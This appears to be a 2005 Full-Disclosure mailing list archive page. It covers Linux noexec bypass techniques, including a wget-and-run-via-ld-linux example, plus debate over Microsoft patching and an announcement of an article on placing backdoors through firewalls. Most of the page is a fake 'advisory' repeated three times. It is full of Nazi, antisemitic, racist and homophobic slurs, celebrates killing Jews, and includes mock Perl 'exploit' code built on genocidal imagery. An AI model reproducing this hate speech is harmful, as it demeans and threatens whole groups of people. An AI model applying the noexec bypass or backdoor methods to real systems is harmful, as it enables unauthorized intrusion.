i thought bill's trusthy computing intiative cured the "root of the
problem" or not? the m$ whores patching holes for several billions worth and
*more* exploits left?

--
where do you want bill gates to go today?

_______________________________________________
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Re: [Full-disclosure] linux bugs (survival stories)?

Valdis.Kletnieksvt.edu
Date: Tue Apr 12 2005 - 16:45:17 CDT


On Tue, 12 Apr 2005 21:20:03 -0000, Eduardo Tongson said:

> Stuff like for example circumventing noexec flags on mounted filesystems
> still is trivial even with the latest and development versions of the
> linux kernel

"like for example" is always a bad way to discuss things, because it's
unclear what exactly you're talking about. ;)

Now, going with specifics... The last really big "trivial" issue with
bypassing noexec on mounted filesystems was closed by a patch from Ulrich
Drepper in 2.6.0 - basically forcing you to mmap() the binary in and then
mprotect() it to add the exec flag. And at *that* point, it gets ugly, because
even if you stop them from calling mprotect() to get it executable, they can
still use some variant of "unexec()" (see the Emacs/XEmacs source tree) to dump
it out, twiddle the headers, and then exec() it off some other file system.

So what specific issue with noexec are *you* thinking of, and what is your
proposed fix for it?

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Re: [Full-disclosure] linux bugs (survival stories)?

From: Eduardo Tongson (propolicegmail.com)
Date: Tue Apr 12 2005 - 17:21:43 CDT


#include <stdio.h>
int main(int argc, char *argv[])
{
  printf("Hello world!\n");
  return 0;
}

> "like for example" is always a bad way to discuss things, because it's
> unclear what exactly you're talking about. ;)
ok ;)
 
> Now, going with specifics... The last really big "trivial" issue with
> bypassing noexec on mounted filesystems was closed by a patch from Ulrich
> Drepper in 2.6.0 - basically forcing you to mmap() the binary in and then
> mprotect() it to add the exec flag. And at *that* point, it gets ugly, because
> even if you stop them from calling mprotect() to get it executable, they can
> still use some variant of "unexec()" (see the Emacs/XEmacs source tree) to dump
> it out, twiddle the headers, and then exec() it off some other file system.
>
> So what specific issue with noexec are *you* thinking of, and what is your
> proposed fix for it?

'hello world' can bypass noexec
just remove the executable flags from the program headers
the compiled binary don't even need to have executable permissions

#include <stdio.h>
int main(int argc, char *argv[])
{
  printf("Hello world!\n");
  return 0;
}

% sudo mount -o remount,noexec /tmp
% wget http://pornadmin.net/~tongson/linux/helloworld.bin -O /tmp/helloworld.bin
% /lib/ld-linux.so.2 /tmp/helloworld.bin
Hello world!

--
                                                    Eduardo Tongson
                                                    <pornadmin.net/~tongson>
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Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

From: dk (dkpwarchitects.com)
Date: Tue Apr 12 2005 - 19:29:30 CDT


mcbainaol.com wrote:

> But think about it, the testing scenarios that exist on planet earth can not possibly be even accounted for let alone tested in Redmond.

Point made; large install base requires more testing.
But like most things this does not apply to every patch/root-fix. It
seems they take their time on the simple fixs too most times.

--
dk
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Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

From: dk (dkpwarchitects.com)
Date: Tue Apr 12 2005 - 19:37:13 CDT


mcbainaol.com wrote:

> And yes making the disclosure private does earn Billgates more money. But thats not WHY they want it private and honestly , putting your billg flaming aside (lol) , you know thats the truth. 0day and worms which is the alternative, terrorist activity is not what they want.

Perhaps, but do not let it lapse that they /are/ the richest corporation
on the planet based in a capitalist, free-market driven nation. They
_exist_ to turn a profit for the Company and the Shareholder first,
that's the whole point Mike. If they do not they cease to exist.
Most companies tend to "Do it right" when all these interest align
nicely, as they sometimes do (e.g. electronic crimes). When they do not
is when we see the flames from users/consumers. MS can improve, and they
should.

--
dk
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Re: [Full-disclosure] linux bugs (survival stories)?

From: Joachim Schipper (j.schippermath.uu.nl)
Date: Tue Apr 12 2005 - 17:44:12 CDT


> 'hello world' can bypass noexec
> just remove the executable flags from the program headers
> the compiled binary don't even need to have executable permissions
>
> #include <stdio.h>
> int main(int argc, char *argv[])
> {
> printf("Hello world!\n");
> return 0;
> }
>
>
> % sudo mount -o remount,noexec /tmp
> % wget http://pornadmin.net/~tongson/linux/helloworld.bin -O /tmp/helloworld.bin
> % /lib/ld-linux.so.2 /tmp/helloworld.bin
> Hello world!

This does not seem to work when ld-linux.so.2 is on a filesystem mounted
noexec, though [1]. Wouldn't this make it akin to calling /bin/bash
hello_world.sh?

PaX can stop you from mmap()ing a file and then executing the code
inside, IIRC, but since this breaks X11 it's uncommon to enable the
option.

                Joachim

[1] ./ld-linux.so.2 fails when called without arguments. Checked on
linux-2.6.11.7-grsec. ld-linux.so.2 was moved to a different disk before
the check was made, with and without chroot and strace. Where strace was
used, it showed that exec() failed.
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[Full-disclosure] Placing Backdoors Through Firewalls

From: Sumy (sanandresgmail.com)
Date: Tue Apr 12 2005 - 19:29:44 CDT


---[ Placing Backdoors Through Firewalls ]---
v1.5

Author: van Hauser / THC

----[ Introduction

This article describes possible backdoors through different firewall
architectures. However, the material can also be applied to other
environments to describe how hackers (you?) cover their access to a
system.

Hackers often want to retain access to systems they have penetrated
even in the face of obstacles such as new firewalls and patched
vulnerabilities. To accomplish this the attackers must install a
backdoor which a) does it's job and b) is not easily detectable. The
kind of backdoor needed depends on the firewall architecture used.

As a gimmick and proof-of-concept, a nice backdoor for any kind of
intrusion is included, so have fun.

Full Article: http://www.exploitx.com/forum/azbb.php?1113350365
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http://www.exploitx.com
 Forum: http://www.exploitx.com/forum/
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Re: [Full-disclosure] linux bugs (survival stories)?

pageexecfreemail.hu
Date: Tue Apr 12 2005 - 19:41:03 CDT


Valdis Kletnieks wrote:
> Now, going with specifics... The last really big "trivial" issue with
> bypassing noexec on mounted filesystems was closed by a patch from Ulrich
> Drepper in 2.6.0 - basically forcing you to mmap() the binary in and then
> mprotect() it to add the exec flag. And at *that* point, it gets ugly,
> because even if you stop them from calling mprotect() to get it
> executable, they can still use some variant of "unexec()" (see the
> Emacs/XEmacs source tree) to dump it out, twiddle the headers, and then
> exec() it off some other file system.

the problem with the above is that it assumes that you already have
a file system where you can write to/execute from, in which case
you don't need to bother with the original noexec mounted filesystem
at all, you just put your exploit into this fs and be done with it.

the real problem with the current linux noexec mount handling is
that by not restricting mprotect one can just construct an ELF file
that when mmap'ed will overlap the stack and call mprotect and
execute your code, effectively circumventing this measure (there was
a longish thread on this topic last May on dailydave), this gives
you a false sense of security only, not security. without such a
restriction a sysadmin cannot enforce a W^X policy at the file
system level. NetBSD (maybe the others as well, i didn't check)
and PaX both forbid mprotect(PROT_EXEC) on noexec mounts for this
reason.

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Re: [Full-disclosure] linux bugs (survival stories)?

Valdis.Kletnieksvt.edu
Date: Tue Apr 12 2005 - 21:12:22 CDT


On Tue, 12 Apr 2005 22:21:43 -0000, Eduardo Tongson said:

> % sudo mount -o remount,noexec /tmp
> % wget http://pornadmin.net/~tongson/linux/helloworld.bin -O /tmp/helloworld.
bin
> % /lib/ld-linux.so.2 /tmp/helloworld.bin
> Hello world!

# uname -a
Linux turing-police.cc.vt.edu 2.6.12-rc2-mm3 #1 PREEMPT Mon Apr 11 23:01:01 EDT 2005 i686 i686 i386 GNU/Linux
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:sysadm_r:sysadm_t
# mount -o remount,noexec /tmp
# cat > hello2.c
##include <stdio.h>
int main(int argc, char *argv[])
{
  printf("Hello world!\n");
  return 0;
}
# gcc -o /tmp/helloworld hello2.c
# ls -l /tmp/helloworld
-rwxr-xr-x 1 root root 4704 Apr 12 22:05 /tmp/helloworld
# /lib/ld-linux.so.2 /tmp/helloworld
/tmp/helloworld: error while loading shared libraries: /tmp/helloworld: failed to map segment from shared object: Operation not permitted
# chmod 644 /tmp/helloworld
# /lib/ld-linux.so.2 /tmp/helloworld
/tmp/helloworld: error while loading shared libraries: /tmp/helloworld: failed to map segment from shared object: Operation not permitted

Like I said, this one was closed with Ulrich Drepper's patch applied in 2.6.0,
which was released on Dec 17, 2003. So it's only been fixed for some 15 months
or so in the current stable kernel.

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Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

tuytumadreatt.net
Date: Tue Apr 12 2005 - 21:24:54 CDT


> mcbainaol.com wrote:
>
> > But think about it, the testing scenarios that exist on planet earth can not
> possibly be even accounted for let alone tested in Redmond.
>
> Point made; large install base requires more testing.
> But like most things this does not apply to every patch/root-fix. It
> seems they take their time on the simple fixs too most times.
>
> --
> dk

Often times, the simplest of fixes tend to create the most complex architectural problems. Microsoft doesn't focus all their effort on pen-testing their patches, they spend their time mostly on ensuring that 3rd party software is not broken by their patches. That's why the simplest of fixes aren't as simple as they may seem. You only see the solution; Microsoft must dig through several solutions before they find the right one.

Paul
Greyhats Security
http://greyhatsecurity.org
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Re: [Full-disclosure] linux bugs (survival stories)?

Valdis.Kletnieksvt.edu
Date: Tue Apr 12 2005 - 22:34:43 CDT


On Wed, 13 Apr 2005 01:41:03 BST, pageexecfreemail.hu said:
> the real problem with the current linux noexec mount handling is
> that by not restricting mprotect one can just construct an ELF file
> that when mmap'ed will overlap the stack and call mprotect and
> execute your code, effectively circumventing this measure (there was
> a longish thread on this topic last May on dailydave), this gives
> you a false sense of security only, not security. without such a
> restriction a sysadmin cannot enforce a W^X policy at the file
> system level. NetBSD (maybe the others as well, i didn't check)
> and PaX both forbid mprotect(PROT_EXEC) on noexec mounts for this
> reason.

Now this, unlike the /lib/ld-linux.so hack, is a still-existing issue.

However, this is getting rather far afield, because:

1) This is quite arguably a "design decision" rather than an outright bug.

2) Whether it's a bug or not, it only impacts userspace security - and we
started off discussing protecting the kernel itself from kernel bugs....

(Not that I'm adverse to a thread on "what the kernel could do to harden
userspace" - but somebody needs to change the Subject: line if we go that way...)

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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

Valdis.Kletnieksvt.edu
Date: Tue Apr 12 2005 - 23:44:42 CDT


On Tue, 12 Apr 2005 17:21:20 EDT, mcbainaol.com said:

> I personally have only been effected once _severely_ after patch Tuesday.

You've been lucky, then.. ;)

> But think about it, the testing scenarios that exist on planet earth can
> not possibly be even accounted for let alone tested in Redmond.

Insufficient testing for breaking end-user configurations is an entirely
different issue.

Your claim was that "they find the root of the problem", and that doing this
adds time to get the patch out the door. My point is that if they in fact
were doing that, we'd not see so many "It still works if you put a \ in front
of the semicolon" type reports - an indication that the released patch is not
in fact fixing the basic problem.

(To be fair to Microsoft - sometimes the "basic problem" is a basic conceptual
design flaw that can't be fixed in a clean compatible way, and you end up
just papering over the known holes and pushing a "real" fix off to "the next
release")

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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] Hackphreak advisory #3

darkn3sshushmail.com
Date: Wed Apr 13 2005 - 02:15:42 CDT


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

  / / / / / / / / / / /
/ / /
  \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
 \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
   / / / / / / / / / / /
 / / /

          " t h e p i c t u r e h a s b e e n p r i n t e d
! "

  | http://www.hackphreak.org http://bantown.4t.com
http://alexis.perl-dev.net |
  |
            |
  | Version : Hackphreak advisory #3 of many
            |
  | Author : darkn3ss #hackphreak #perldev #bantown
            |
  | Contact : darkn3ssperl-dev.net
            |
  | Contributed : All of Team Hackphreak in Coordination with
#BANTOWN |
  | Topic : A RACE CONDITION VULNERABILITY IN JEWS, NIGGERS
AND OTHER |
  | Effected : All Operating Systems which use NaziBSD
            |
  | Released : April 12th, 2005
            |
  | Credits : bantown.4t.com, alexis.perl-dev.net,
www.hackphreak.org |
  | Check Section 1
            |
  | Vender status : OVEN BAKED
            |

  / / / / / / / / / / /
/ / /
  \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
 \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
   / / / / / / / / / / /
 / / /

  [ SHOUTS ]

  alexis - I cant kill jews without you!
  kelly - Lol, I know youre fat, and MEXICAN, but whats a nazi
gonna do?

  werd to all my nazi south siderz! wootwoot u know who u r.
  also check out my siq ass tatts.
http://darkn3ss.evilmag.com/images/pics/

  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/

  Ok werd, a special shoutz out go to struct for being a f4gg0t and
trying
  to bust out a power move to take over bantown.

  LOOOOOOOOOOOOL

  ____ _____ ____ _ _ ____ _____ _____ _ ___ _ _____
____
 / ___|_ _| _ \| | | |/ ___|_ _| | ___/ \ |_ _| | | ____|
_ \
 \___ \ | | | |_) | | | | | | | | |_ / _ \ | || | | _| |
| | |
  ___) || | | _ <| |_| | |___ | | | _/ ___ \ | || |___| |___|
|_| |
 |____/ |_| |_| \_\\___/ \____| |_| |_|/_/
\_\___|_____|_____|____/

 OH I ALMOST FORGOT

 THANKS GOES OUT TO RLOXLEY AND THE WHOLE #HACKPHREAK UNDERNET CREW
FOR
 SUPPORTING MY FUCKING STUPID ASS AND KICKING DOWN THE MONEY TO GET
 ALL MY SWEET NAZI TATS AND MY AWESOME BSD DEVIL TAT!!!!!!

 [ PROFILE ]

 name : darkn3ss
 email : darkn3ssperl-dev.net
 aliases name : kike killer, moron, SS South Sider
 IRC : us.undernet.org #hackphreak #perldev #bantown
 favorite quote : the picture has been printed!
 hobbies : killing jews, crying on irc.

 * X (cserviceundernet.org) has left #perldev (At the request of
perlcode)
 <darkn3ss> i think this channel is going to be closed tommarow.
 <lothos> why?
 <darkn3ss> i dont want to be here anymore.
 <darkn3ss> too much crap going on.
 <Bantrix> understandable
 <darkn3ss> it hurts me to see that picture
 <Bantrix> I know
 <Bantrix> I'm sorry
 <Bantrix> I tried to talk sense
 <darkn3ss> i feel like i did something wrong
 <Bantrix> it's like talking to a wall
 <darkn3ss> i gotta go
 <dancerkel> u didn't do anything wrong
 <dancerkel> oh shit
 <dancerkel> he's crying
 <dancerkel> brb
 <Bantrix> :/
 <lothos> dude!
 * Looking up RLoxley user info...
 * lothos hugs darkn3ss

 LOL THIS IS MY FAT GIRLFRIEND, SHES MAXICAN

15:31 < dancerkel> DARKN3SS HAS A TINY COCK
15:32 < dancerkel> WHEN WE FUCK HE DUCT TAPES A HOT DOG TO IT FIRST
SO I
                   CAN TELL WHEN ITS IN

 ALSO, PLEASE GO AHEAD AND DOWNLOAD MY AWESOME IRC BOT CODE
 AquaCrystal - "a powerful pure perl derived irc channel bot"
 http://www.perl-dev.net/projects/darkn3ss/aquacrystal-2.1.tar.gz

[ BACKGROUND ]

Basically, its clear that the aryan race is superior and not
vulnerable to
"conditions". It IS ironic that i have a fat mexican girlfriend,
but lets put
that to the side for now. In this release I plan on showing how to
exploit
these race conditions.

[ PROBLEM DESCRPTION ]

Specific race conditions exist for each of the unpure codebases.

  o
 -|-
 /p\ <-- the african american (niggers.pl) has a large d0ng,
loooool.

 0o0 <-- lol, elephant ears (fyodor.pl).
 -|-
 / \

  $ <-- lol, kikes (jews.pl) have a dollar sign for a face. pretty
fucked up!
 -|-
 / \

  o <-- wtfbbq! fat mexican woman, namely my gf (kelly.pl) are
fugly!!!!
 oOo look how her arms are just like big round like ponykegs.
 / \

Other race conditions exist but the ASCII character set is not
properly equiped
to handle these cases expressively enough. Like for example,
chinese ppl are yellow
but i'd have to have written this advisory in ANSI.

[ POF EXPLOIT ]

#!/usr/bin/perl
#
# http://darkn3ss.evilmag.com/images/pics/
# CODEZ BY darkn3ssperl-dev.net
# #HACKPHREAK #PERLDEV #BANTOWN us.undernet.org
#

USE NAZI::Oven;

$sig{HIEL} = sub { march(); salute(); };

open(TRAINCAR, $ARGV[1]);

while(my $next = <TRAINCAR>) {

        if($next =~ /(jew|kike)/i) {

                push pile, lol_oven($next);

        } elsif($next =~ /(nigger|blaq)/i) {

                push boat, shackle($next);

        } elsif($next =~ /(m[ea]xican|gf|kelly)/i) {

                push welfare, ironic_sex($next);

        }
}

[ VISIT US ]

Team Hackphreak invites you to undernet #hackphreak for a great
learning experience. Just join us to teach and learn. But remember,
HARASSMENT = BAN. www.hackphreak.org/newbie.

TEAM BANTOWN INVITES YOU TO UNDERNET #BANTOWN FOR A GREAT LOLING
EXPERIENCE.
JUST JOIN US TO BAN AND BE BANNED. BUT REMEMBER HARASSMENT = BAN
bantown.4t.com

-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkJcxwgACgkQnEo2+vKSrFrCPwCcDFdRZYXRfyxzucaJEDRmR96DPZkA
oLPRp4t0JLPvXI7ZXQLVzxaPnF06
=UBEb
-----END PGP SIGNATURE-----

Concerned about your privacy? Follow this link to get
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] #HACKPHREAK ADVISORY

darkn3sshushmail.com
Date: Wed Apr 13 2005 - 02:18:23 CDT


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

  / / / / / / / / / / /
/ / /
  \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
 \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
   / / / / / / / / / / /
 / / /

          " t h e p i c t u r e h a s b e e n p r i n t e d
! "

  | http://www.hackphreak.org http://bantown.4t.com
http://alexis.perl-dev.net |
  |
            |
  | Version : Hackphreak advisory #3 of many
            |
  | Author : darkn3ss #hackphreak #perldev #bantown
            |
  | Contact : darkn3ssperl-dev.net
            |
  | Contributed : All of Team Hackphreak in Coordination with
#BANTOWN |
  | Topic : A RACE CONDITION VULNERABILITY IN JEWS, NIGGERS
AND OTHER |
  | Effected : All Operating Systems which use NaziBSD
            |
  | Released : April 12th, 2005
            |
  | Credits : bantown.4t.com, alexis.perl-dev.net,
www.hackphreak.org |
  | Check Section 1
            |
  | Vender status : OVEN BAKED
            |

  / / / / / / / / / / /
/ / /
  \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
 \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
   / / / / / / / / / / /
 / / /

  [ SHOUTS ]

  alexis - I cant kill jews without you!
  kelly - Lol, I know youre fat, and MEXICAN, but whats a nazi
gonna do?

  werd to all my nazi south siderz! wootwoot u know who u r.
  also check out my siq ass tatts.
http://darkn3ss.evilmag.com/images/pics/

  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/

  Ok werd, a special shoutz out go to struct for being a f4gg0t and
trying
  to bust out a power move to take over bantown.

  LOOOOOOOOOOOOL

  ____ _____ ____ _ _ ____ _____ _____ _ ___ _ _____
____
 / ___|_ _| _ \| | | |/ ___|_ _| | ___/ \ |_ _| | | ____|
_ \
 \___ \ | | | |_) | | | | | | | | |_ / _ \ | || | | _| |
| | |
  ___) || | | _ <| |_| | |___ | | | _/ ___ \ | || |___| |___|
|_| |
 |____/ |_| |_| \_\\___/ \____| |_| |_|/_/
\_\___|_____|_____|____/

 OH I ALMOST FORGOT

 THANKS GOES OUT TO RLOXLEY AND THE WHOLE #HACKPHREAK UNDERNET CREW
FOR
 SUPPORTING MY CLUCKING STUPID ASZS AND KICKING DOWN THE MONEY TO
GET
 ALL MY SWEET NAZI TATS AND MY AWESOME BSD DEVIL TAT!!!!!!

 [ PROFILE ]

 name : darkn3ss
 email : darkn3ssperl-dev.net
 aliases name : kike killer, moron, SS South Sider
 IRC : us.undernet.org #hackphreak #perldev #bantown
 favorite quote : the picture has been printed!
 hobbies : killing jews, crying on irc.

 * X (cserviceundernet.org) has left #perldev (At the request of
perlcode)
 <darkn3ss> i think this channel is going to be closed tommarow.
 <lothos> why?
 <darkn3ss> i dont want to be here anymore.
 <darkn3ss> too much crap going on.
 <Bantrix> understandable
 <darkn3ss> it hurts me to see that picture
 <Bantrix> I know
 <Bantrix> I'm sorry
 <Bantrix> I tried to talk sense
 <darkn3ss> i feel like i did something wrong
 <Bantrix> it's like talking to a wall
 <darkn3ss> i gotta go
 <dancerkel> u didn't do anything wrong
 <dancerkel> oh shit
 <dancerkel> he's crying
 <dancerkel> brb
 <Bantrix> :/
 <lothos> dude!
 * Looking up RLoxley user info...
 * lothos hugs darkn3ss

 LOL THIS IS MY FAT GIRLFRIEND, SHES MAXICAN

15:31 < dancerkel> DARKN3SS HAS A TINY COCK
15:32 < dancerkel> WHEN WE FUCK HE DUCT TAPES A HOT DOG TO IT FIRST
SO I
                   CAN TELL WHEN ITS IN

 ALSO, PLEASE GO AHEAD AND DOWNLOAD MY AWESOME IRC BOT CODE
 AquaCrystal - "a powerful pure perl derived irc channel bot"
 http://www.perl-dev.net/projects/darkn3ss/aquacrystal-2.1.tar.gz

[ BACKGROUND ]

Basically, its clear that the aryan race is superior and not
vulnerable to
"conditions". It IS ironic that i have a fat mexican girlfriend,
but lets put
that to the side for now. In this release I plan on showing how to
exploit
these race conditions.

[ PROBLEM DESCRPTION ]

Specific race conditions exist for each of the unpure codebases.

  o
 -|-
 /p\ <-- the african american (niggers.pl) has a large d0ng,
loooool.

 0o0 <-- lol, elephant ears (fyodor.pl).
 -|-
 / \

  $ <-- lol, kikes (jews.pl) have a dollar sign for a face. pretty
fucked up!
 -|-
 / \

  o <-- wtfbbq! fat mexican woman, namely my gf (kelly.pl) are
fugly!!!!
 oOo look how her arms are just like big round like ponykegs.
 / \

Other race conditions exist but the ASCII character set is not
properly equiped
to handle these cases expressively enough. Like for example,
chinese ppl are yellow
but i'd have to have written this advisory in ANSI.

[ POF EXPLOIT ]

#!/usr/bin/perl
#
# http://darkn3ss.evilmag.com/images/pics/
# CODEZ BY darkn3ssperl-dev.net
# #HACKPHREAK #PERLDEV #BANTOWN us.undernet.org
#

USE NAZI::Oven;

$sig{HIEL} = sub { march(); salute(); };

open(TRAINCAR, $ARGV[1]);

while(my $next = <TRAINCAR>) {

        if($next =~ /(jew|kike)/i) {

                push pile, lol_oven($next);

        } elsif($next =~ /(nigger|blaq)/i) {

                push boat, shackle($next);

        } elsif($next =~ /(m[ea]xican|gf|kelly)/i) {

                push welfare, ironic_sex($next);

        }
}

[ VISIT US ]

Team Hackphreak invites you to undernet #hackphreak for a great
learning experience. Just join us to teach and learn. But remember,
HARASSMENT = BAN. www.hackphreak.org/newbie.

TEAM BANTOWN INVITES YOU TO UNDERNET #BANTOWN FOR A GREAT LOLING
EXPERIENCE.
JUST JOIN US TO BAN AND BE BANNED. BUT REMEMBER HARASSMENT = BAN
bantown.4t.com

-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkJcx6sACgkQnEo2+vKSrFqsyACfZO0j51XVSVcMX9IY6sHipPB4QbQA
nj2zmHcVM7MIuo3EOWMDVvqrLuB3
=RW3Y
-----END PGP SIGNATURE-----

Concerned about your privacy? Follow this link to get
secure FREE email: http://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
http://www.hushmail.com/services-messenger?l=434

Promote security and make money with the Hushmail Affiliate Program:
http://www.hushmail.com/about-affiliate?l=427

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] (no subject)

darkn3sshushmail.com
Date: Wed Apr 13 2005 - 02:19:31 CDT


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

  / / / / / / / / / / /
/ / /
  \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
 \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
   / / / / / / / / / / /
 / / /

          " t h e p i c t u r e h a s b e e n p r i n t e d
! "

  | http://www.hackphreak.org http://bantown.4t.com
http://alexis.perl-dev.net |
  |
            |
  | Version : Hackphreak advisory #3 of many
            |
  | Author : darkn3ss #hackphreak #perldev #bantown
            |
  | Contact : darkn3ssperl-dev.net
            |
  | Contributed : All of Team Hackphreak in Coordination with
#BANTOWN |
  | Topic : A RACE CONDITION VULNERABILITY IN JEWS, NIGGERS
AND OTHER |
  | Effected : All Operating Systems which use NaziBSD
            |
  | Released : April 12th, 2005
            |
  | Credits : bantown.4t.com, alexis.perl-dev.net,
www.hackphreak.org |
  | Check Section 1
            |
  | Vender status : OVEN BAKED
            |

  / / / / / / / / / / /
/ / /
  \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
 \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
   / / / / / / / / / / /
 / / /

  [ SHOUTS ]

  alexis - I cant kill jews without you!
  kelly - Lol, I know youre fat, and MEXICAN, but whats a nazi
gonna do?

  werd to all my nazi south siderz! wootwoot u know who u r.
  also check out my siq ass tatts.
http://darkn3ss.evilmag.com/images/pics/

  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/

  Ok werd, a special shoutz out go to struct for being a f4gg0t and
trying
  to bust out a power move to take over bantown.

  LOOOOOOOOOOOOL

  ____ _____ ____ _ _ ____ _____ _____ _ ___ _ _____
____
 / ___|_ _| _ \| | | |/ ___|_ _| | ___/ \ |_ _| | | ____|
_ \
 \___ \ | | | |_) | | | | | | | | |_ / _ \ | || | | _| |
| | |
  ___) || | | _ <| |_| | |___ | | | _/ ___ \ | || |___| |___|
|_| |
 |____/ |_| |_| \_\\___/ \____| |_| |_|/_/
\_\___|_____|_____|____/

 OH I ALMOST FORGOT

 THANKS GOES OUT TO RLOXLEY AND THE WHOLE #HACKPHREAK UNDERNET CREW
FOR
 SUPPORTING MY CLUCKING STUPID ASZS AND KICKING DOWN THE MONEY TO
GET
 ALL MY SWEET NAZI TATS AND MY AWESOME BSD DEVIL TAT!!!!!!

 [ PROFILE ]

 name : darkn3ss
 email : darkn3ssperl-dev.net
 aliases name : kike killer, moron, SS South Sider
 IRC : us.undernet.org #hackphreak #perldev #bantown
 favorite quote : the picture has been printed!
 hobbies : killing jews, crying on irc.

 * X (cserviceundernet.org) has left #perldev (At the request of
perlcode)
 <darkn3ss> i think this channel is going to be closed tommarow.
 <lothos> why?
 <darkn3ss> i dont want to be here anymore.
 <darkn3ss> too much crap going on.
 <Bantrix> understandable
 <darkn3ss> it hurts me to see that picture
 <Bantrix> I know
 <Bantrix> I'm sorry
 <Bantrix> I tried to talk sense
 <darkn3ss> i feel like i did something wrong
 <Bantrix> it's like talking to a wall
 <darkn3ss> i gotta go
 <dancerkel> u didn't do anything wrong
 <dancerkel> oh shit
 <dancerkel> he's crying
 <dancerkel> brb
 <Bantrix> :/
 <lothos> dude!
 * Looking up RLoxley user info...
 * lothos hugs darkn3ss

 LOL THIS IS MY FAT GIRLFRIEND, SHES MAXICAN

15:31 < dancerkel> DARKN3SS HAS A TINY COCK
15:32 < dancerkel> WHEN WE PHUQ HE DUCT TAPES A HOT DOG TO IT FIRST
SO I
                   CAN TELL WHEN ITS IN

 ALSO, PLEASE GO AHEAD AND DOWNLOAD MY AWESOME IRC BOT CODE
 AquaCrystal - "a powerful pure perl derived irc channel bot"
 http://www.perl-dev.net/projects/darkn3ss/aquacrystal-2.1.tar.gz

[ BACKGROUND ]

Basically, its clear that the aryan race is superior and not
vulnerable to
"conditions". It IS ironic that i have a fat mexican girlfriend,
but lets put
that to the side for now. In this release I plan on showing how to
exploit
these race conditions.

[ PROBLEM DESCRPTION ]

Specific race conditions exist for each of the unpure codebases.

  o
 -|-
 /p\ <-- the african american (niggers.pl) has a large d0ng,
loooool.

 0o0 <-- lol, elephant ears (fyodor.pl).
 -|-
 / \

  $ <-- lol, kikes (jews.pl) have a dollar sign for a face. pretty
phuQKed up!
 -|-
 / \

  o <-- wtfbbq! fat mexican woman, namely my gf (kelly.pl) are
fugly!!!!
 oOo look how her arms are just like big round like ponykegs.
 / \

Other race conditions exist but the ASCII character set is not
properly equiped
to handle these cases expressively enough. Like for example,
chinese ppl are yellow
but i'd have to have written this advisory in ANSI.

[ POF EXPLOIT ]

#!/usr/bin/perl
#
# http://darkn3ss.evilmag.com/images/pics/
# CODEZ BY darkn3ssperl-dev.net
# #HACKPHREAK #PERLDEV #BANTOWN us.undernet.org
#

USE NAZI::Oven;

$sig{HIEL} = sub { march(); salute(); };

open(TRAINCAR, $ARGV[1]);

while(my $next = <TRAINCAR>) {

        if($next =~ /(jew|kike)/i) {

                push pile, lol_oven($next);

        } elsif($next =~ /(nigger|blaq)/i) {

                push boat, shackle($next);

        } elsif($next =~ /(m[ea]xican|gf|kelly)/i) {

                push welfare, ironic_sex($next);

        }
}

[ VISIT US ]

Team Hackphreak invites you to undernet #hackphreak for a great
learning experience. Just join us to teach and learn. But remember,
HARASSMENT = BAN. www.hackphreak.org/newbie.

TEAM BANTOWN INVITES YOU TO UNDERNET #BANTOWN FOR A GREAT LOLING
EXPERIENCE.
JUST JOIN US TO BAN AND BE BANNED. BUT REMEMBER HARASSMENT = BAN
bantown.4t.com

-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

